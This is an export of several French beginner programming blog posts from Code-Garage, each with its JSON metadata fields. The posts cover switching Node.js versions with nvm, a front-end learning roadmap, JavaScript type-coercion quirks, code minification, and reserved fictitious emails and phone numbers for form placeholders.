bookmark\n[![](https://repository-images.githubusercontent.com/24268127/518e0f00-8eb5-11e9-8e27-ad3a843e0d1b)coreybutler/nvm-windows](https://github.com/coreybutler/nvm-windows)\n:::\n\nUne fois fait, il vous suffira de [](https://github.com/coreybutler/nvm/releases)**[télécharger l'installateur (nvm-setup.zip) disponible](https://github.com/coreybutler/nvm/releases) à cette adresse**, et de suivre la procédure d'installation classique !\n\n## Comment s'en servir ?\n\nMême si la méthode d'installation diffère et que le code source n'est pas le même, **vous pourrez utilisez l'outil en ligne de commande de la même manière** à part pour quelques commandes qui changent très légèrement de syntaxe.\n\n### Installer une nouvelle version\n\n```\n# MacOS, Linux et Windows\n$ nvm install 14.15.1\n```\n\n### Activer une version\n\n```\n# MacOS, Linux et Windows\n$ nvm use 14.15.1\n```\n\n### Lister les version installées\n\n```\n# Windows\n$ nvm list\n#MacOS et Linux\n$ nvm ls\n```\n\n### Lister les versions disponibles à installer\n\n```\n# Windows\n$ nvm list available\n#MacOS et Linux\n$ nvm ls-remote\n```\n\n### Désinstaller une version\n\n```\n# MacOS, Linux et Windows\n$ nvm uninstall 14.15.1\n```\n\n## Notes\n\n* NPM est inclus avec chaque version de NodeJS, mais **si vous utilisez yarn, vous devrez le réinstaller** pour chaque nouvelle version de node.\n* Il existe quelques commandes spécifiques disponibles selon la plateforme, je vous recommande de **consulter la documentation disponible sur Github**, les liens sont dans la section \"Comment l'installer ?\".\n\n","L'outil CLI indispensable et simple d'utilisation !","comment-passer-facilement-dune-version-de-nodejs-a-une-autre","2020-12-09T20:32:22.000Z","2023-09-19T15:05:38.487Z","2021-11-12T08:14:00.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/anne-nygard-SM8XB01NGjQ-unsplash.jpg","Anne Nygård sur Unsplash","https://unsplash.com/@polarmermaid?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1151,"title":1152,"content":1153,"socialTitle":8,"description":1154,"socialDescription":8,"slug":1155,"createdAt":1156,"updatedAt":1157,"publishedAt":1158,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1159,"coverCopyright":8,"coverCopyrightLink":8},148,"Que faut-il apprendre pour devenir développeur web front ?","Si vous débutez dans le développement web, **il y a des chances pour que soyez perdu face aux nombreux concepts** et technologies à apprendre.\n\n> On commence souvent par suivre un tutoriel, puis on se demande : **\"Qu'est-ce que je dois apprendre ensuite ?\"**\n\n**Je vous ai donc préparé une roadmap, une liste de choses à découvrir et à maitriser** afin de progresser sereinement dans votre apprentissage.\n\n**J'ai essayé de choisir l'ordre de tous ces éléments de manière à ce que votre apprentissage puisse être à la fois ludique et guidé par vos projets**, chaque nouveau concept vous permettra d'aller plus loin dans vos créations, chaque nouvelle étape pourra être une nouvelle source de satisfaction.\n\n## Roadmap : La liste des choses à connaître\n\nÀ noter que **cette liste ne contient pas de lien vers des cours ou tutoriels**, elle est simplement là pour vous aiguiller, mais vous pourrez trouver votre bonheur sur des sites comme **[Openclassroom](https://openclassrooms.com)s** pour les cours gratuits ou sur **[Udemy](https://www.udemy.com)** pour des formations payantes.\n\n> Disclaimer : Connaître tous les concepts et technologies de cette liste ne vous garantira pas de trouver un métier en claquant des doigts. Votre implication, votre persévérance et vos projets personnels tiendront une grande place dans la suite de votre aventure.\n\n### HTML (HyperText Markup Language)\n\nComprendre ce qu'est un fichier HTML, comment il est construit, les différences entre l'en-tête et le corps du document ainsi que les liens hyper-textes entre différentes pages d'un site **c'est comprendre la base du web.**\n\nVous apprendrez donc à vous servir de différents éléments HTML (aussi appelés balises) afin de **présenter vos différentes données**, comme par exemple :\n\n* Les titres (h1, h2, h3, ...)\n* Les textes et liens (p, span, a)\n* Les images (img)\n* Les blocs (div, section,...)\n* Les tableaux (table, tr, td, ...)\n* Les formulaires (input, button, ...)\n* Les listes (ul, ol, li)\n* ...\n\n**Chaque élément html a une manière d'être représenté graphique par défaut, mais a aussi une sémantique** (un sens, une fonction) bien précise que vous aurez l'occasion de découvrir.\n\n### CSS (Cascading Style Sheet)\n\nLe HTML seul vous permettra de structurer vos pages et d'arriver à un résultat qui ressemble plus ou moins à un document créé sous Word ou OpenOffice. Mais **avec le CSS, vous pourrez modifier le design de ce document à vos souhaits**, avec votre imagination pour seule limite (ou presque).\n\nL'apprentissage du CSS se déroule en deux étapes : **les sélecteurs et les attributs.**\n\n**Les sélecteurs permettent de choisir quel éléments seront affectés par votre style** personnalisé grâce à différentes règles (id, classes, noms d'éléments, évènements et autres sélecteurs plus complexes)\n\n**Les attributs, eux, permettront de décider du style final appliqué à ces éléments** en question, par exemple :\n\n* L'affichage et le positionnement (display, visibility, position, left, margin-left, padding-left, ...)\n* Les couleurs (color, border-color, background-color, ...)\n* Les formes (width, height, border-radius, ...)\n* ...\n\nIl existe des dizaines d'attributs différents en CSS et il est très tentant de tous les essayer, mais un conseil, **prenez bien le temps d'apprendre (et comprendre) le rôle des différents sélecteurs ainsi que des attributs d'affichage et de positionnement.**\n\n> Une fois ces concepts-là acquis, le reste des attributs sera d'une simplicité enfantine !\n\n### Hébergement\n\nSi vous suivez cette liste dans l'ordre, **vous êtes désormais capable de construire un site avec plusieurs pages reliées entre-elles par des liens et suivant un design personnalisé**, autrement dit, tout ce qu'il vous faut pour faire un site vitrine, un cv en ligne, etc...\n\nMais à quoi cela sert si personne d'autre ne peut le voir ? C'est pour cela que **l'étape suivante est de découvrir les technologies autour de l'hébergement web**, avec entre autres :\n\n* Ce qu'est un serveur, et plus particulièrement un serveur web ?\n* Qu'est-ce qu'une requête HTTP ?\n* Les noms de domaines et les DNS\n* Les différents types d'hébergement disponible (mutualisé, VPS,...)\n* Comment déployer son site (FTP, SFTP) ?\n\nUne fois cette partie de votre parcours terminée, vous aurez donc **un site visible par tous et entièrement créé par vos soins !**\n\n> Pour mettre en ligne votre site, vous pouvez passer par des hébergeurs comme [**Ionos**](https://www.ionos.fr/), [**OVH**](https://www.ovh.com/fr/) ou encore **[o2switch](https://www.o2switch.fr)** pour quelques euros par mois.\n\n### Le versionning de code\n\n**Lorsque que vous codez, tout se passe dans les fichiers textes de votre projet, mais comment faire pour collaborer** avec d'autres personnes sur ces fichiers sans risquer de tout corrompre ?\n\nOu bien comment faire pour revenir à une version antérieure du site après que des modifications en CSS aient cassé votre design sans que vous l'ayez remarqué ?\n\nTout simplement grâce à **un gestionnaire de version comme [Git](https://git-scm.com/) et des plateformes comme [Github](https://github.com/) qui vous permettront de synchroniser** plusieurs instances de votre projet, de sauvegarder chaque état d'avancement du site, de travailler à plusieurs sans conflit et de revenir en arrière si besoin.\n\n### Javascript\n\nJavascript étant le seul langage de programmation (à proprement parler) qui soit nativement interprété par le navigateur, **c'est une technologie incontournable à maitriser.**\n\n> **L'apprentissage de la logique et des concepts de la programmation** peuvent être beaucoup plus long que les parties précédentes, prenez votre temps.\n\nÀ terme, Javascript vous permettra d'**ajouter de la logique dans vos sites et applications, de faire des calculs** (au sens large du terme, on parle plutôt d'algorithmie) **et d'ajouter des interactions** dans vos pages (autres que les clics sur les liens).\n\nVous devrez d'abord apprendre la logique de programmation ainsi que **la syntaxe du langage**, puis vous pourrez faire interagir votre code Javascript avec vos pages HTML grâce aux API du navigateur par la suite.\n\n### Les APIs du navigateur\n\nUne API (Application-programming interface) désigne **un ensemble de solutions logicielles dont la complexité est cachée derrière un ensemble de méthodes simples** d'utilisation pour un développeur.\n\nUn navigateur web va donc mettre à disposition un certains nombre de ces APIs à disposition des développeurs pour que ces denières soient appelés en Javascript.\n\nL'API la plus connue est celle du DOM (Document Object Model) **qui donne la possibilité au développeur d'intéragir avec les éléments HTML présents sur la page** pour :\n\n* Modifier le contenu de la page\n* Unjecter du contenu dynamique (textes, images, etc...).\n* Ajouter des intéractions lors d'un évènement (clic, scroll, touche clavier)\n* Récupérer les données entrées par l'utilisateur dans des champs HTML\n* ...\n\nMême si l'API du DOM est absolument indispensable à maîtriser, **il existe bien d'autres API mise à votre disposition** qui sont très puissantes :\n\n* le localStorage (pour stocker des données en local, même après fermeture du navigateur)\n* les APIs audio et vidéo\n* le bluetooth\n* la lecture de fichiers\n* ...\n\nEn exploitant toute la puissance mise à disposition par le navigateur, vous pourrez alors créer des applications complexes et très intéressantes pour vos utilisateurs.\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/11/steve-johnson-S0j-5wSN3YQ-unsplash.jpg)Comment utiliser le localStorage pour stocker des données en local sur le navigateur ? - Blog - Code-Garage](https://code-garage.fr/blog/comment-utiliser-le-localstorage-pour-stocker-des-donnees-en-local-sur-le-navigateur/)\n:::\n\n### Algorithmie\n\nSi l'on associe souvent l'algorithmie avec le développement côté logiciel ou back-end, **il ne faut pas négliger son importance dans le navigateur.**\n\nL'algorithmie consiste à trouver une solution technique à une problématique en **associant des éléments de logique et de mathématique**, exemple : Trier une liste d'utilisateurs en fonction de leur nom et de leur profession.\n\n**Il existe de nombreuses plateformes d'entrainement à la programmation et à l'algorithmie**, je vous partage [un article dans lequel je vous conseille les meilleures d'entre-elles](https://code-garage.fr/blog/les-meilleurs-sites-entrainement-programmation).\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/11/paul-esch-laurent-6MeMUw5KDss-unsplash.jpg)Les 7 meilleurs sites pour s’entrainer à programmer - Blog - Code-Garage](https://code-garage.fr/blog/les-meilleurs-sites-entrainement-programmation/)\n:::\n\n* * *\n\n**Si vous envisagez de suivre un parcours de développeur web fullstack**, c'est à partir d'ici que je vous conseille de découvrir les concepts back-end, sinon continuez votre lecture !\n\n> Une version alternative de ce guide en version fullstack sera bientôt disponible\n\n* * *\n\n### Les appels HTTP\n\nDans l'une des parties précédentes **j'ai listé les APIs du navigateur, en faisant exprès d'ommetre une catégorie en particulier : les appels HTTP.**\n\nLes navigateurs mettent à disposition deux APIs en particulier, l'une plus ancienne \"XMLHTTPRequest\" et l'autre beaucoup plus récente : \"Fetch\"\n\nMalgré leurs noms bien différents, **toutes deux permettent d'effectuer des appels à un serveur de données dans le but soit de récupérer des données détenues par le serveur, soit d'en envoyer, le tout sans changer de page.**\n\nVous pouvez faire appel à votre propre serveur (que vous aurez développé au choix en PHP, Java, Python, NodeJS ou autre), soit à **des APIs publiques qui vous permettront de récupérer des données spécifiques.**\n\n> Voilà un lien vers l'[article où je donne des exemples d'APIs publiques](https://code-garage.fr/blog/apis-gratuites-puissantes-pour-projets-applications-site-web/) à utiliser dans vos projets !\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2021/11/annie-spratt-wgivdx9dBdQ-unsplash.jpg)12 APIs de données gratuites et puissantes pour vos applications - Blog - Code-Garage](https://code-garage.fr/blog/apis-gratuites-puissantes-pour-projets-applications-site-web)\n:::\n\n### La sécurité et les failles (XSS, cors)\n\nComme le dit si bien Spiderman : \"**Avec de grands pouvoirs, viennent de grandes responsabilités**\" et c'est aussi application pour la sécurité de vos applications web.\n\nÀ partir du moment où votre site web commence à dialoguer avec un serveur, à envoyer et à récupérer des données, **vous devez être au courant des enjeux de la sécurité web.**\n\nVous devez entre autres connaître :\n\n* Les failles XSS\n* Les failles CSRF\n* Les règles CORS\n* Le protocole HTTPS (SSL)\n* ...\n\n### RGPD\n\nLa \"Réglementation Générale pour la Protection des Données\" est **un ensemble de règle à suivre lorsque l'on édite un site web en Europe et que l'on collecte des données utilisateurs.**\n\nUn non-respect de la RGPD **peut entraîner une forte amende basée sur le chiffre d'affaires** de l'entreprise et la responsabilité en tant que développeur peut vous en être incombé.\n\n> [**Voici le site officiel de la CNIL à propos de la RGPD**](https://www.cnil.fr/fr/comprendre-le-rgpd)\n\n### Accessibilité (a11y)\n\nL'accessibilité web est un vaste sujet qu'il faut absolument comprendre, je le résumerai par \"**un ensemble de techniques à mettre en place afin que le site produit soit accessible à toutes les personnes, quelque soit leur handicap, leur équipement ou leur localisation géographique**.\"\n\n> Voici le lien vers [ma série d'articles (en cours) sur les bases de l'accessibilité web](https://code-garage.fr/blog/introduction-accessibilite-web-enjeu-des-couleurs-a11y)\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/10/steve-johnson-5Z9GhJJjiCc-unsplash.jpg)Introduction à l’accessibilité web : l’enjeu des couleurs - Blog - Code-Garage](https://code-garage.fr/blog/introduction-accessibilite-web-enjeu-des-couleurs-a11y/)\n:::\n\n### SEO\n\nLe SEO est un acronyme anglais pour le \"référencement naturel\", autrement dit les méthodes et les bonnes pratiques à connaitre afin que **le site puisse être trouvé de la manière la plus efficace possible sur les moteurs de recherches.**\n\n> Voici le lien vers [ma série d'article (en cours) sur les bases du SEO](https://code-garage.fr/blog/definitions-les-bases-du-seo-1)\n\n::: bookmark\n[![](https://cellar-c2.services.clever-cloud.com/content/2020/08/agnieszka-boeske-ky0ljKGar78-unsplash.jpg)Les bases du SEO #1 : Définitions - Blog - Code-Garage](https://code-garage.fr/blog/definitions-les-bases-du-seo-1)\n:::\n\n### Optimisation\n\nL'optimisation d'un contenu web passe par **de nombreuses pratiques et influence notamment l'accessibilité et le SEO.**\n\nVoici quelques exemples d'optimisation à creuser :\n\n* Mettre en place un **CDN** (content delivery network)\n* Gérer le **cache**\n* Mettre en place une compression **Gzip**\n* Faire attention à la **taille/nombre des fichiers** (images, js, css, ...)\n* ...\n\n### Tooling (Webpack)\n\nLe tooling représente l'ensemble des outils utilisés autour de votre projet afin d'**optimiser votre temps, votre facilité à développer ainsi que la compatibilité ou les performances de votre projet web.**\n\nOn peut par exemple citer quelques outils comme :\n\n* **Webpack** pour gérer des modules, minifier et optimiser ses fichiers\n* **Babel** pour transpiler du code Javascript vers d'ancienne version pour améliorer la compatibilité avec certains navigateurs\n* **NPM** pour gérer ses dépendances\n* ...\n\n### Frameworks CSS\n\nIl existe énormément de frameworks et de bibliothèques CSS que vous pouvez utiliser pour gagner du temps, mais attention à ne pas les utiliser trop tôt dans votre apprentissage car **cela pourrait freiner votre apprentissage et votre compréhension du CSS.**\n\nUne fois que vous aurez une bonne maîtrise du HTML et du CSS, voilà quelques outils intéressants que vous pourrez étudier :\n\n* Les **pré-processeurs** (SASS/LESS/SCSS)\n* Les **frameworks** (Bootstrap, Bulma, ...)\n* Les **bibliothèques** (Tailwind, ...)\n* ...\n\n### Frameworks Javascript\n\nReact, Vue ou encore Angular, **tous sont à la fois différents, puissant et méritent d'être testés afin de choisir celui que vous préférez**.\n\nLa majorités des postes pour devenir développeur front-end **demandent désormais au moins la maitrise de l'un de ces trois frameworks** Javascript majeurs.\n\n**Personnellement, je conseillerais à un débutant de commencer par VueJS** qui est à mon sens celui le plus accessible et permettra de s'introduire facilement au concept des composants web réutilisables, même si **aujourd'hui React possède une plus grande part de marché**. À vous de choisir !\n\n> [**Lien vers le site officiel de VueJS**](https://vuejs.org/)\n\n### Typescript\n\nBeaucoup de développeurs recommandent l'apprentissage de Typescript bien plus tôt dans le parcours (si vous avez choisi Angular précédemment, alors vous faites déjà du Typescript).\n\n**Personnellement je pense qu'il faut avoir suffisamment éprouvé les faiblesses de Javascript pour vraiment comprendre la force de Typescript**, voilà pourquoi il se trouve à la fin de cette roadmap.\n\nPour faire court, **Typescript est un langage qui sera transpilé en Javascript et qui perme, entre autres, aux développeurs de rendre le typage des variables stricts**, contrairement au typage dynamique de Javascript, et donc d'éviter de nombreuses erreurs lors de la phase de développement.\n\n> [**Le site officiel de Typescript**](https://www.typescriptlang.org/)\n\n### Et plus...\n\n**Il existe bien d'autres concepts et technologies à découvrir, mais cela fera partie de votre veille et de votre auto-formation quotidienne**, je vous laisserai donc les découvrir par vous-même, ou au travers des autres articles que je publie régulièrement sur le blog !\n\n## En résumé\n\nDans l'ordre, je vous conseille d'aborder les thématiques ci-dessous :\n\n* HTML (HyperText Markup Language)\n* CSS (Cascading Style Sheet)\n* Hébergement\n* Le versionning de code\n* Javascript\n* Les APIs du navigateur\n* Algorithmie\n* AJAX\n* Sécurité\n* RGPD\n* Accessibilité\n* SEO\n* Optimisation\n* Tooling\n* Frameworks CSS\n* Frameworks Javascript\n* Typescript\n\n","Voici une roadmap complète, avec tous les concepts à aborder afin d'apprendre de manière ludique et complète ce métier.","que-faut-il-apprendre-pour-devenir-developpeur-web-front","2020-12-11T07:58:17.000Z","2024-01-08T15:31:20.329Z","2020-12-11T12:55:03.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/james-harrison-vpOeXr5wmR4-unsplash.jpg",{"id":1161,"title":1162,"content":1163,"socialTitle":8,"description":1164,"socialDescription":8,"slug":1165,"createdAt":1166,"updatedAt":1167,"publishedAt":1168,"styleHead":8,"scriptFooter":438,"seoTitle":8,"seoDescription":8,"legacyCover":1169,"coverCopyright":8,"coverCopyrightLink":8},149,"5 choses étranges sur Javascript expliquées (+ un bonus)","Je suis développeur Javascript, et il m'arrive parfois de croiser les doigts lorsque j'exécute un script pour la première fois en espérant que tout se passe comme prévu, et ma femme me demande souvent :\n\n> Mais pourquoi ça ne marcherait pas ? C'est un ordinateur, il fait uniquement ce que tu lui dis de faire !\n\nEt en soit, elle a plus que raison, mais en même temps il arrive des situations où même si notre logique est bonne, quelque chose cloche à cause de la nature singulière de ce langage qu'est le Javascript.\n\nJe vais donc vous présenter 5 exemples de résultats inattendus afin de vous expliquer la raison sous-jacente de chacun d'entre-eux !\n\n## Javascript, je t'aime, moi non plus.\n\nLes exemples suivant proviennent presque tous du fait que Javascript soit un langage typé dynamiquement, ce qui signifie que lorsque l'on assigne une valeur à une variable, ce dernier va deviner le type selon la variable de manière dynamique.\n\nLors d'une opération, Javascript va essayer de transformer le contenu de la variable d'origine pour le faire coller au type attendu par l'opération, ce qui entrainer des résultats parfois étranges.\n\n### La vraie nature de NaN\n\n```\nconsole.log(typeof NaN)\n// => \"number\"\n\nconsole.log(NaN == NaN);\n// => false\n```\n\nQuoi  ? La valeur NaN qui signifie \"Not a Number\" est en fait un nombre ?\n\n> Et oui.\n\nOn pourrait croire que NaN est une valeur spécifique comme null ou undefined, mais non, NaN est bien un nombre, et le pire, c'est qu'il n'est pas égal à lui-même comme vous pouvez le voir dans l'exemple ci-dessus.\n\nLa raison est simple, NaN sert de résultat dans plusieurs cas, par exemple :\n\n* lorsque l'on essaye de convertir une donnée qui ne représente pas un nombre (par exemple la chaine de caractères \"bleu\")\n* lors d'une expression mathématique impossible à calculer pour le système informatique mais dont le résultat est bien un nombre,  comme la racine carrée d'un nombre négatif.\n* ...\n\nIl est donc impossible à savoir si deux valeurs NaN ont la même signification, c'est donc pour cela que NaN == NaN renvoit toujours faux !\n\n> Voilà pourquoi vous devrez toujours passer par la méthode isNaN()\n\n### Les chiffres à virgules n'existent pas\n\n```\nconsole.log(0.1+0.2)\n// => 0.30000000000000004\n\nconsole.log(0.1+0.2==0.3);\n// => false\n```\n\nLorsque l'on pense à des opérations dont les résultats sont connus de tous, on pense au additions en mathématiques, et pourtant comme vous pouvez le voir, on ne peut pas toujours s'y fier.\n\n> Mais alors Javascript ne sait même pas compter correctement ?\n\nOn pourrait être tenté de croire que ce résultat erroné est dû au langage en lui-même, et pourtant son origine est bien plus bas-niveau, à tel point que le même problème existe dans la plupart des autres langages.\n\nLa raison est assez complexe, mais pour faire simple cela provient du fait que nos circuit électroniques sont prévus pour stocker des nombres entiers (sous forme binaire), et que pour retrouver des nombres à virgules ces derniers sont obligés d'utiliser des fractions.\n\nLa nature même des fractions en mathématiques fait que certaines d'entre-elles se résolvent par une suite de nombres infinis (1/3 = 0.33333333...4 en base 10) et lorsque l'on passe en base 2 (système binaire), certaines fractions pourtant simples en base 10, deviennent complexes en base 2, c'est le cas pour 1/10 et 2/10, les chiffres problématiques dans les opération précédentes.\n\nSi vous voulez des explications plus précises et mathématiquement plus exacte, je vous recommande [la lecture de cet article sur Medium](https://medium.com/javascript-in-plain-english/why-0-1-0-2-0-3-in-javascript-d7e218224a72).\n\n> Pour éviter tout problème sur des calculs requiérant une précision infaillible, comme dans des systèmes financiers, vous serez donc obligé de prendre les entiers comme base de calculs, en comptant les centimes par exemple.\n\n### Les opérations caméléons\n\n```\nconsole.log(9+\"1\")\n// => \"91\"\n\nconsole.log(9-\"1\");\n// => 8\n```\n\nLa différence entre les opérateurs + et - en javascript est que l'un représente une opération arithmétique (-) tandis que l'autre représente à la fois une opération et une fonction logicielle.\n\nL'opérateur \"+\" donne à la fois la possibilité d'additioner chiffres, mais aussi de concaténer deux chaines de caractères. La priorité est portée sur la concaténation, si bien que si l'une des deux valeurs (à gauche ou à droite) de l'opérateur est une chaine de caractères, Javascript transformera l'autre valeur en chaine de caractère et les mettra bout à bout.\n\nL'opérateur \"-\" est différent car il ne représente que l'opération mathématique, si bien qu'il va essayer de convertir les valeurs de chaque côté en nombre avant d'effectuer l'opération, le résultat sera donc un nombre (peut-être NaN si la conversion se passe mal).\n\n### Les valeurs falsy et truthy\n\n```\nconsole.log(true+true+true)\n// => 3\n\nconsole.log(true == 1);\n// => true\n\nconsole.log(\"\" == false);\n// => true\n```\n\nEn Javascript il existe des valeurs primitives true et false, mais il existe aussi le concept de valeurs truthy et falsy permettant des calculs plus souples, mais aussi bien souvent des confusions.\n\nLors d'une condition (avec les opérateurs ==, ===, \u003C, > et autres) le résultat sera une valeur booléenne primitive, mais elle pourra être calculé à partir de valeurs qui sont considérés comme \"à peu près\" vrais ou fausses. Exemple, les valeurs :\n\n* \"\" (chaine vide), \"false\", 0 (zéro) ou \"0\" sont considérés comme falsy\n* \"1\" ou 1 sont considérés comme truthy\n\nAttention, aucune autre chaine de caractère n'est considérée comme truthy, même pas la chaine \"true\".\n\n> Pour éviter tout problème, favorisez l'opérateur === qui ne prendra pas en compte les valeurs truthy et falsy mais seulement true et false.\n\n### Les tableaux vides\n\n```\nconsole.log([]+[])\n// => \"\"\n\nconsole.log([] == 0);\n// => true\n```\n\nLorsque que l'on additionne deux tableaux vides, Javascript nous renvoie une chaine vide car comme nous l'avons vu précédemment, l'opérateur \"+\" essaye de convertir ses opérandes en string si ce ne sont pas déjà des valeurs de type \"number\".\n\nEt surprise, on se rend compte qu'un tableau vide correspond en fait à une chaine vide, car oui dans tous les langages de programmation, une chaine de caractères est en fait un tableau de caractères déguisé. Vous pouvez d'ailleurs faire le test, suivant :\n\n```\nconsole.log([1,2,3]+\"\");\n// => \"1,2,3\"\n```\n\nLorsqu'il doit convertir un tableau en string, Javascript va tout simplement séparer chaque valeur par une virgule, donc pour un tableau vide nous auront une simple chaine vide.\n\n> Additionnons les chaines vides, et nous auront une chaine vide en retour, et comparons une chaine vide (falsy) avec le nombre 0 (falsy) et le résultat sera \"vrai\".\n\n### En bonus\n\n```\nconsole.log(Math.min())\n// => Infinity\n\nconsole.log(Math.max());\n// => -Infinity\n```\n\nInstinctivement, on imaginerait que la méthode mathématique min() appelée sans paramètre retournerait la valeur -Infinity et inversement pour la méthode max().\n\nLa raison se trouve dans l'implémentation technique et comme Math.min(3) doit renvoyer 3 et que Math.min(3, 4) doit renvoyer 3 aussi, il faut avoir une valeur de comparaison absolue. Si cette valeur était initialisée à \"Infinity\", le premier exemple reviendrait à appeler Math.min(Infinity, 3) et le résultat serait donc erroné.\n\n","Vous avez sûrement vu passer ces exemples sur internet, aujourd'hui je vous explique le pourquoi du comment.","choses-etranges-sur-javascript-expliquees-plus-un-bonus","2020-12-14T07:46:01.000Z","2023-09-19T15:05:38.551Z","2020-12-14T10:05:37.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/pawel-janiak-49LBMXrY5BE-unsplash.jpg",{"id":1171,"title":1172,"content":1173,"socialTitle":8,"description":1174,"socialDescription":8,"slug":1175,"createdAt":1176,"updatedAt":1177,"publishedAt":1178,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1179,"coverCopyright":1180,"coverCopyrightLink":1181},150,"Pourquoi et comment minifier son code ?","**La minification de code consiste à prendre un fichier X et à réduire sa taille au maximum** tout en conservant l'intégralité des informations contenus dans ce dernier.\n\n> La minification peut rendre un fichier relativement illisible pour un être humain, mais **une machine doit pouvoir le lire de la même manière** que le fichier d'origine.\n\n**Cette mécanique prend son sens surtout dans le monde du web où toutes les instructions envoyées au navigateur ne sont pas compilées** mais interprétées, dans le cas d'un langage de plus bas niveau, c'est le compilateur qui va se charger de \"minifier\" le code.\n\nMais en quoi consiste exactement cette mécanique sur des fichiers html, css et javascript ? **Voici les transformations appliquées :**\n\n* Suppression des **commentaires**\n* Suppressions des **caractères \"vides\"** (espaces, tabulations, retour à la ligne)\n* Raccourcissement des **noms de variables et fonctions** (pour Javascript)\n* Regroupement de **plusieurs fichiers en un seul** (par type de fichier) \n \n\n> Attention, la minification n'est **ni une compression (voir [gzip](https://en.wikipedia.org/wiki/Gzip)) ni une réelle obfuscation** (rendre le code le plus difficile à comprendre possible pour éviter la rétro-ingéniérie).\n\n## Les avantages\n\n### Des fichiers plus légers\n\nJe ne sais pas si je dois vraiment vous expliquer en détails ce point parce que logiquement, **lorsque l'on retire des caractères à un fichier, il s'allège**, tout simplement !\n\nPour être plus précis, le pourcentage de taille de fichier réduit par minification va varier selon le taux de commentaires et d'espaces vides présents dans le fichier, mais **on peut atteindre des taux de réductions de plus de 60%**, ce qui n'est pas négligeable !\n\n### Moins de requêtes\n\nPour le même poids total (disons 100Ko de code), **un seul fichier sera chargé beaucoup plus vite que s'il est séparé en 10 fichiers pesant chacun 10Ko**, la raison réside dans l'optimisation du nombre de requêtes.\n\n**Pour chaque fichier, une requête http(s) va être envoyée au serveur**, le serveur va devoir trouver le fichier, construire la réponse, l'envoyer et le navigateur va devoir télécharger la ressource.\n\nHormis le temps de téléchargement qui va varier selon la taille du fichier, **tous les autres temps d'attente son incompressibles**, ce qui signifie qu'ils sont nécessaire au bon fonctionnement du système.\n\nRassembler ces 10 fichiers en un seul va permettre de **diviser par 10 ces temps d'attente obligatoires**, et donc améliorer les performances de votre site.\n\n### Garder votre code lisible\n\n**Plus qu'un avantage, c'est surtout un effet secondaire**. Car oui il est possible de développer entièrement sans commentaire et en rassemblant déjà son code dans le moins de fichiers possible, mais cela entraine une base de code très peu lisible, maintenable et qui risque d'entrainer de nombreuses erreurs lors de la phase de développement.\n\n**Avec la minification au moment du build de votre site, vous allez pouvoir continuer à séparer votre CSS et votre Javascript dans autant de fichiers nécessaire** pour les garder lisible, et d'ajouter des commentaires pour documenter au maximum le code, tout en conservant les performances finales de ce dernier !\n\n### Tutoriel\n\nSi vous voulez apprendre à minifier un projet, je vous invite à lire **[mon tutoriel d'introduction à Parcel](https://code-garage.fr/blog/introduction-a-parcel-un-bundler-application-facile-rapide/)**, un bundler d'application très simple d'utilisation qui minifiera aussi vos fichiers !\n\n","Parce que ce n'est pas la taille qui compte !","pourquoi-et-comment-minifier-son-code-avec-parcel","2020-12-15T07:43:06.000Z","2023-09-19T15:05:38.582Z","2020-12-15T10:04:41.000Z","https://cellar-c2.services.clever-cloud.com/content/2020/12/markus-spiske-Fa0pTKuoDVY-unsplash.jpg","Markus Spiske sur Unsplash","https://unsplash.com/@markusspiske?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText",{"id":1183,"title":1184,"content":1185,"socialTitle":8,"description":1186,"socialDescription":8,"slug":1187,"createdAt":1188,"updatedAt":1189,"publishedAt":1190,"styleHead":8,"scriptFooter":8,"seoTitle":8,"seoDescription":8,"legacyCover":1191,"coverCopyright":1192,"coverCopyrightLink":1193},152,"Email, url et téléphone fictifs et légaux pour vos formulaires","**Les placeholders sont des éléments important en terme d'UX et d'accessibilité** dans vos formulaires, que ce soit sur le web ou dans une application desktop/mobile.\n\nCelà permet à l'utilisateur de comprendre (en plus du nom du champ) **quelle est l'information exacte à donner** et sous quelle forme il doit l'écrire.\n\n> Attention, pour que votre formulaire soit accessible, **il faut absolument que votre champ soit accompagné d'un label**, un placeholder seul ne suffit pas !\n\n**Mais lorsque l'on arrive à certains champs comme l'email ou le téléphone, on ne sait pas toujours quoi mettre comme placeholder** car il ne faudrait pas donner une email ou un numéro réellement existant.\n\n_Mais heureusement, le cinéma est là pour nous sauver la mise !_\n\nCar oui, lorsqu'un nom de domaine (ou un numéro de téléphone) apparait en clair dans un film, **nombre de spectateurs vont alors se ruer sur l'occasion** de découvrir si le site existe réellement.\n\nEt par la même occasion, nombre de **cyber-squatteurs vont tenter de réserver le domaine** en question afin d'y afficher une quantité astronomique de publicité.\n\n## Example.com\n\nLe nom [http://example.com](http://example.com) est un domaine fictif, **réservé par l'IANA (Internet Assigned Numbers Authority), dédié à des fins illustratives** et derrière lequel se cache une simple page expliquant le concept et présentant l'autorité en question.\n\n**Des domaines similaires avec des TLD différents** sont aussi disponibles et renvoient vers la même page :\n\n* example**.org**\n* example**.net**\n* example**.edu**\n\nVous pouvez donc utiliser **cette url pour vos formulaires, mais vous pouvez aussi utiliser n'importe quel e-mail** issu de ce nom de domaine comme eric@example.com, help@example.com, ...\n\n> Attention, il n'y a aucun enregistrement MX derrière ce nom de domaine, donc ne l'utilisez pas pour tester des envoies d'emails avec votre serveur SMTP, vous recevrez une notification de rejet.\n\n## Les numéros de téléphones réservés\n\nAux Etats-Unis, des plages de numéros de téléphones sont depuis longtemps **réservées aux oeuvres fictionnels, notamment pour le cinéma et la télévision.**\n\nLes plages officielles exactes vont du préfixe 555-0100 à 555-0199 mais dans la réalité beaucoup de réalisateurs choisissent simplement un numéro en 555- comme on peut le voir dans [cette liste de numéros vus dans des oeuvres culturelles](https://en.wikipedia.org/wiki/555_(telephone_number)).\n\n**En France, depuis 2018, un certains nombre de préfixes ont aussi été réservés**, un pour chaque zone, incluant même la zone mobile :\n\n* 01 99 00 xx xx\n* 02 61 91 xx xx\n* 03 53 01 xx xx\n* 04 65 71 xx xx\n* 05 36 49 